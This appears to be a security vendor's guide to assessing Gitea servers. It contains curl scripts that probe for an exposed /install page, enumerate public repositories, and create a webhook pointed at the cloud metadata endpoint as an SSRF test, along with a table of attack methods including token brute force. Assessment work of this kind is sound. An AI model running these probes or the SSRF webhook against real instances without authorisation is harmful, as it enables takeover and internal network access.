Gitea is a widely deployed self-hosted Git service used as a lightweight alternative to GitHub and GitLab, hosting source code, CI/CD workflows, and often containing sensitive credentials committed to repositories. Its security assessment covers: Gitea's initial installation is completed via a web form at /install — if this URL is still accessible after deployment (install not completed or INSTALL_LOCK not set), any visitor can complete the installation and set their own admin account credentials; Gitea's webhook feature allows users to configure outbound HTTP requests to arbitrary URLs when repository events occur (push, issue, pull request) — webhook URLs targeting internal network addresses create an SSRF vector where the Gitea server makes requests to internal services on behalf of the attacker; Gitea's OAuth application feature allows any registered user to create OAuth 2.0 apps that can obtain access tokens from other users who authorize them — these tokens grant API access scoped to the authorizing user; Gitea's personal access token API at /api/v1 provides programmatic access to repository operations; and Gitea's repository and organization visibility settings (public vs. private) determine whether source code containing secrets, credentials, or internal infrastructure details is exposed to unauthenticated users. This guide covers systematic Gitea security assessment.
# Gitea uncompleted installation — /install accessible if INSTALL_LOCK=false
GITEA_URL="https://git.example.com"
# Check if installation page is still accessible
INSTALL_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${GITEA_URL}/install" 2>/dev/null)
echo "Install page status: ${INSTALL_STATUS}"
# If 200, Gitea installation can be completed by any visitor
# This allows setting admin credentials and controlling the instance
if [ "$INSTALL_STATUS" = "200" ]; then
echo "CRITICAL: Gitea /install is accessible — installation not locked"
echo "Any visitor can complete installation and set admin credentials"
fi
# Also check Gitea API for version and configuration info
curl -s "${GITEA_URL}/api/v1/settings/api" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Max response items: {d.get(\"max_response_items\")}')
print(f'Default paging: {d.get(\"default_paging_num\")}')
except: pass
" 2>/dev/null
# Enumerate public users and repositories
curl -s "${GITEA_URL}/api/v1/repos/search?limit=50&token=" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d.get('data',[])
print(f'Public repositories: {len(repos)}')
for r in repos[:10]:
print(f' {r.get(\"full_name\",\"?\")} — {r.get(\"description\",\"\")}')
" 2>/dev/null
# Gitea webhook SSRF — webhooks trigger outbound HTTP requests from the Gitea server
# Any repository owner can configure webhooks pointing to internal URLs
GITEA_URL="https://git.example.com"
API_TOKEN="your-gitea-personal-access-token"
OWNER="username"
REPO="test-repo"
# Create a webhook pointing to an internal URL (SSRF test)
# Gitea server will make HTTP POST to this URL on push events
curl -s -X POST "${GITEA_URL}/api/v1/repos/${OWNER}/${REPO}/hooks" \
-H "Authorization: token ${API_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"type": "gitea",
"config": {
"url": "http://169.254.169.254/latest/meta-data/",
"content_type": "json"
},
"events": ["push"],
"active": true
}' 2>/dev/null
# Trigger the webhook by creating a push event
# Then check webhook delivery logs for response content
curl -s "${GITEA_URL}/api/v1/repos/${OWNER}/${REPO}/hooks" \
-H "Authorization: token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
hooks = json.load(sys.stdin)
for h in hooks:
print(f'Hook: {h.get(\"config\",{}).get(\"url\")} active={h.get(\"active\")}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Uncompleted installation at /install | GET /install — if accessible (HTTP 200), any visitor can complete Gitea installation and set their own admin credentials, taking full control of the instance | Critical |
| Webhook SSRF to internal services | POST /api/v1/repos/{owner}/{repo}/hooks with internal URL — Gitea server makes outbound HTTP POST to the URL on push events, enabling SSRF to cloud metadata endpoints and internal network services | High |
| Public repository secret scanning | Clone public repositories and run Gitleaks/TruffleHog — developers frequently commit API keys, passwords, database credentials, and private keys to version control inadvertently | Critical |
| Personal access token brute force | POST /api/v1/users/search and /api/v1/repos — no rate limiting by default on Gitea API enables token enumeration and brute force of weak tokens | Medium |
| OAuth application token harvesting | Register an OAuth app — any registered user can create OAuth apps that obtain access tokens from other users who authorize them via the standard OAuth flow | Medium |
| Default public visibility of repositories | Check repository visibility settings — new repositories are public by default in Gitea unless DEFAULT_PRIVATE=true is configured; internal code and secrets may be exposed | High |
Ironimo tests Gitea deployments for uncompleted installation accessible at /install allowing admin credential takeover, webhook SSRF triggering outbound HTTP requests to cloud metadata endpoints and internal network services from the Gitea server, public repository enumeration and secret scanning for committed credentials, personal access token brute force, OAuth application token harvesting, and repository visibility misconfiguration exposing internal source code and secrets.
Start free scan